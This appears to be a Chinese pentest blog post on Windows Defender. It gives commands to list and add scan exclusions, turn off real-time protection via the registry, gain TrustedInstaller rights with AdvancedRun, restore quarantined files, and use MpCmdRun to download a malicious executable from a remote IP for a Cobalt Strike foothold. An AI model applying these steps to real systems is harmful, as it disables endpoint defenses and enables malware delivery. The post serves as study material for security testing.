热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

WindowsDefender的一些渗透知识

 前言Microsoft Defender,最初称为Microsoft AntiSpyware,是微软推出的一款杀毒软件。相信大家对Windows Defender 的防御性能还是没有怀疑的,毕竟最了

 

前言

Microsoft Defender,最初称为Microsoft AntiSpyware,是微软推出的一款杀毒软件。
相信大家对Windows Defender 的防御性能还是没有怀疑的,毕竟最了解Windows系统的还得是微软自己。但是这货也比较令人头疼,毕竟它检测到问题直接就杀了,然后弹窗告诉用户“我已经拦截了一个XXX”。完全属于先斩后奏。今天正好看到大佬的文章,跟着学习一下Windows defender相关的知识。

 

测试环境版本

系统:Windows server 2016
Windows defender版本:
版本信息:
反恶意软件容户端版本:4.10.14393.1794
引擎版本:1.1.19500.2
防病毒定义:1.373.1325.0
反间谍软件定义:1.373.1325.0
网络检查系统引擎版本:2.1.14600 4
网络检查系统定义版本:119.0.00
测试权限:administrator

 

查看Windows defender版本



面板查看

设置-更新和安全-Windows Defender


命令行查看

注:新版本Windows Defender已不适用

dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

 

查看已存在的查杀排除列表



  • 通过面板查看依次选择

    设置-更新和安全-Windows Defender-添加排除项

    如下图



  • 通过命令行查看

    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s



  • 通过Powershell查看

    Get-MpPreference | select ExclusionPath


 

关闭Windows Defender的实时保护

1.通过面板关闭依次选择

设置-更新和安全-Windows Defender-实时保护


通过命令行关闭defender 实时保护



  • 需要TrustedInstaller权限

  • 需要关闭Tamper Protection

    reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f


注: 通过命令行开启defender 实时保护

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /f

注:新版本的Windows已经不再适用

 

添加查杀排除列表



通过面板添加

依次选择
设置-更新和安全-Windows Defender-排除-添加排除项-选择排除的进程或文件类型&文件夹


  • 该操作等价于修改注册表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\的键值,具体位置如下:

    类型文件对应注册表项TemporaryPaths
    类型文件夹对应注册表项Paths
    类型文件类型对应注册表项Extensions
    类型进程对应注册表项Processes





通过命令行添加

利用条件:需要TrustedInstaller权限

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\tide" /d 0 /t REG_DWORD /f

 

恢复被隔离的文件

参考资料:https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide


MpCmdRun.exe存在的位置

简介
mpcmdrun.exe 是 Microsoft Windows 安全系统的重要组成部分,可帮助保护您的 PC 免受在线威胁和恶意软件的侵害。如果您想自动化 Microsoft 安全防病毒,也可以使用此实用程序。.exe 必须从 Windows 命令提示符运行。
在实验过三个不同的Windows版本后,发现微软在新版本已经更改了MpCmdRun的位置(具体哪个版本后更改的不清楚,在这两个路径下查找就对了)
更改后的位置在

C:\Program Files\Windows Defender\MpCmdRun.exe

老版本

dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

得到版本号后,则他存在的位置为

C:\ProgramData\Microsoft\Windows Defender\Platform\<版本>

比如我这台存在的物理位置为

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2205.7-0\X86


常用命令

查看被隔离的文件列表

MpCmdRun -Restore -ListAll

恢复指定名称的文件至原目录

MpCmdRun -Restore -FilePath C:\tide\7.exe

恢复所有文件至原目录

MpCmdRun -Restore -All

查看指定路径是否位于排除列表中

MpCmdRun -CheckExclusion -path C:\test

 

补充1:获取TrustedInstaller权限



AdvancedRun

AdvancedRun是运行于Windows系统的轻量级程序设置优先级软件,可以轻松设置程序运行优选级,并且还能够支持通过命令行调用设置,也支持将参数保存为配置文件,以便于更好进行使用。
在图形化界面

或者使用命令行

AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

 

补充2:MpCmdRun.exe利用



MpCmdRun恶意文件下载

Windows Defender自带的命令执行工具”MpCmdRun.exe”可以用来实现远程下载恶意文件的目的,但是免杀好像还是不太可靠,不过我们可以在cmd中关闭Windows Defender,所以这样一来,一结合就变得有意思多了,不管在使用该思路的过程中还需要权限提升,但是CS因为在后渗透测试中有很好的辅助功能,所以总体来说还是划算的~
PS:经过实验发现在新版本中下载任何文件Windows defender都会报毒并隔离(下图),若尝试关闭实时保护则mpcmdrun不可用。。。不过老版本defender还是可以的。
在目标主机上使用Windows Defender自带的MpCmdRun.exe程序下载恶意文件

MpCmdRun.exe -DownloadFile -url http://*.*.*.*:81/co.exe -path c:\co.exe


MpCmdRun.exe解密和加载Cobalt Strike攻击载荷

这篇文章是7月底发布的,还算比较新(在我10月份写这篇文章的时候)。
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-abuses-windows-defender-to-load-cobalt-strike/
一开始还以为是生成含有恶意载荷的dll文件替为MPClient.dll后就可以执行,结果在自己机器上尝试了一下根本不能上线,仔细看了看(谷歌翻译后)才明白大意是攻击者通过MpCmdRun.exe 加载修改后的MPClient.dll执行c0000015.log进而实现上线Cobalt Strike,当然这就触及到我的知识盲区了,感兴趣的铁子可以继续研究一下(教教我)。

 

参考文章

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender


推荐阅读
  • 在Linux系统中,网络配置是至关重要的任务之一。本文详细解析了Firewalld和Netfilter机制,并探讨了iptables的应用。通过使用`ip addr show`命令来查看网卡IP地址(需要安装`iproute`包),当网卡未分配IP地址或处于关闭状态时,可以通过`ip link set`命令进行配置和激活。此外,文章还介绍了如何利用Firewalld和iptables实现网络流量控制和安全策略管理,为系统管理员提供了实用的操作指南。 ... [详细]
  • 为了确保iOS应用能够安全地访问网站数据,本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程,可以确保应用始终使用HTTPS协议,从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法,帮助读者快速上手并成功部署SSL证书。 ... [详细]
  • 本文介绍了如何利用Shell脚本高效地部署MHA(MySQL High Availability)高可用集群。通过详细的脚本编写和配置示例,展示了自动化部署过程中的关键步骤和注意事项。该方法不仅简化了集群的部署流程,还提高了系统的稳定性和可用性。 ... [详细]
  • 本文详细解析了 Android 系统启动过程中的核心文件 `init.c`,探讨了其在系统初始化阶段的关键作用。通过对 `init.c` 的源代码进行深入分析,揭示了其如何管理进程、解析配置文件以及执行系统启动脚本。此外,文章还介绍了 `init` 进程的生命周期及其与内核的交互方式,为开发者提供了深入了解 Android 启动机制的宝贵资料。 ... [详细]
  • 为了在Hadoop 2.7.2中实现对Snappy压缩和解压功能的原生支持,本文详细介绍了如何重新编译Hadoop源代码,并优化其Native编译过程。通过这一优化,可以显著提升数据处理的效率和性能。此外,还探讨了编译过程中可能遇到的问题及其解决方案,为用户提供了一套完整的操作指南。 ... [详细]
  • 在ElasticStack日志监控系统中,Logstash编码插件自5.0版本起进行了重大改进。插件被独立拆分为gem包,每个插件可以单独进行更新和维护,无需依赖Logstash的整体升级。这不仅提高了系统的灵活性和可维护性,还简化了插件的管理和部署过程。本文将详细介绍这些编码插件的功能、配置方法,并通过实际生产环境中的应用案例,展示其在日志处理和监控中的高效性和可靠性。 ... [详细]
  • Python 程序转换为 EXE 文件:详细解析 .py 脚本打包成独立可执行文件的方法与技巧
    在开发了几个简单的爬虫 Python 程序后,我决定将其封装成独立的可执行文件以便于分发和使用。为了实现这一目标,首先需要解决的是如何将 Python 脚本转换为 EXE 文件。在这个过程中,我选择了 Qt 作为 GUI 框架,因为之前对此并不熟悉,希望通过这个项目进一步学习和掌握 Qt 的基本用法。本文将详细介绍从 .py 脚本到 EXE 文件的整个过程,包括所需工具、具体步骤以及常见问题的解决方案。 ... [详细]
  • 本文详细介绍了批处理技术的基本概念及其在实际应用中的重要性。首先,对简单的批处理内部命令进行了概述,重点讲解了Echo命令的功能,包括如何打开或关闭回显功能以及显示消息。如果没有指定任何参数,Echo命令会显示当前的回显设置。此外,文章还探讨了批处理技术在自动化任务执行、系统管理等领域的广泛应用,为读者提供了丰富的实践案例和技术指导。 ... [详细]
  • 基于Linux系统的Kickstart自动化服务器部署方案
    本文针对企业需求,提出了一种基于Linux系统的Kickstart自动化服务器部署方案。该方案旨在通过无盘批量安装操作系统,提高企业IT基础设施的部署效率。Kickstart是一种利用Anaconda工具实现服务器自动化安装的技术,能够显著简化和加速操作系统的安装过程。通过详细的实施规划,本文介绍了Kickstart的工作原理及其在实际部署中的应用,为企业提供了高效的自动化部署解决方案。 ... [详细]
  • 在Ubuntu系统中安装Android SDK的详细步骤及解决“Failed to fetch URL https://dlssl.google.com/”错误的方法
    在Ubuntu 11.10 x64系统中安装Android SDK的详细步骤,包括配置环境变量和解决“Failed to fetch URL https://dlssl.google.com/”错误的方法。本文详细介绍了如何在该系统上顺利安装并配置Android SDK,确保开发环境的稳定性和高效性。此外,还提供了解决网络连接问题的实用技巧,帮助用户克服常见的安装障碍。 ... [详细]
  • 该问题可能由守护进程配置不当引起,例如未识别的JVM选项或内存分配不足。建议检查并调整JVM参数,确保为对象堆预留足够的内存空间(至少1572864KB)。此外,还可以优化应用程序的内存使用,减少不必要的内存消耗。 ... [详细]
  • 利用ZFS和Gluster实现分布式存储系统的高效迁移与应用
    本文探讨了在Ubuntu 18.04系统中利用ZFS和Gluster文件系统实现分布式存储系统的高效迁移与应用。通过详细的技术分析和实践案例,展示了这两种文件系统在数据迁移、高可用性和性能优化方面的优势,为分布式存储系统的部署和管理提供了宝贵的参考。 ... [详细]
  • 数字图书馆近期展出了一批精选的Linux经典著作,这些书籍虽然部分较为陈旧,但依然具有重要的参考价值。如需转载相关内容,请务必注明来源:小文论坛(http://www.xiaowenbbs.com)。 ... [详细]
  • 在CICS应用环境中,众多客户端通过网络与CICS服务器进行连接。系统管理员可以通过CICS系统交易CEMT查询当前连接的客户端信息。然而,在非客户端模式下,识别用户连接并解决信息获取错误的问题变得更为复杂。本文将探讨如何在CICS服务器端准确识别非客户端模式的用户连接,并提供有效的解决方案,以确保系统的稳定性和数据的准确性。此外,还将介绍一些常用的诊断工具和技术,帮助管理员快速定位和解决问题。 ... [详细]
  • Presto:高效即席查询引擎的深度解析与应用
    本文深入解析了Presto这一高效的即席查询引擎,详细探讨了其架构设计及其优缺点。Presto通过内存到内存的数据处理方式,显著提升了查询性能,相比传统的MapReduce查询,不仅减少了数据传输的延迟,还提高了查询的准确性和效率。然而,Presto在大规模数据处理和容错机制方面仍存在一定的局限性。本文还介绍了Presto在实际应用中的多种场景,展示了其在大数据分析领域的强大潜力。 ... [详细]
author-avatar
裂爆传说_818
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有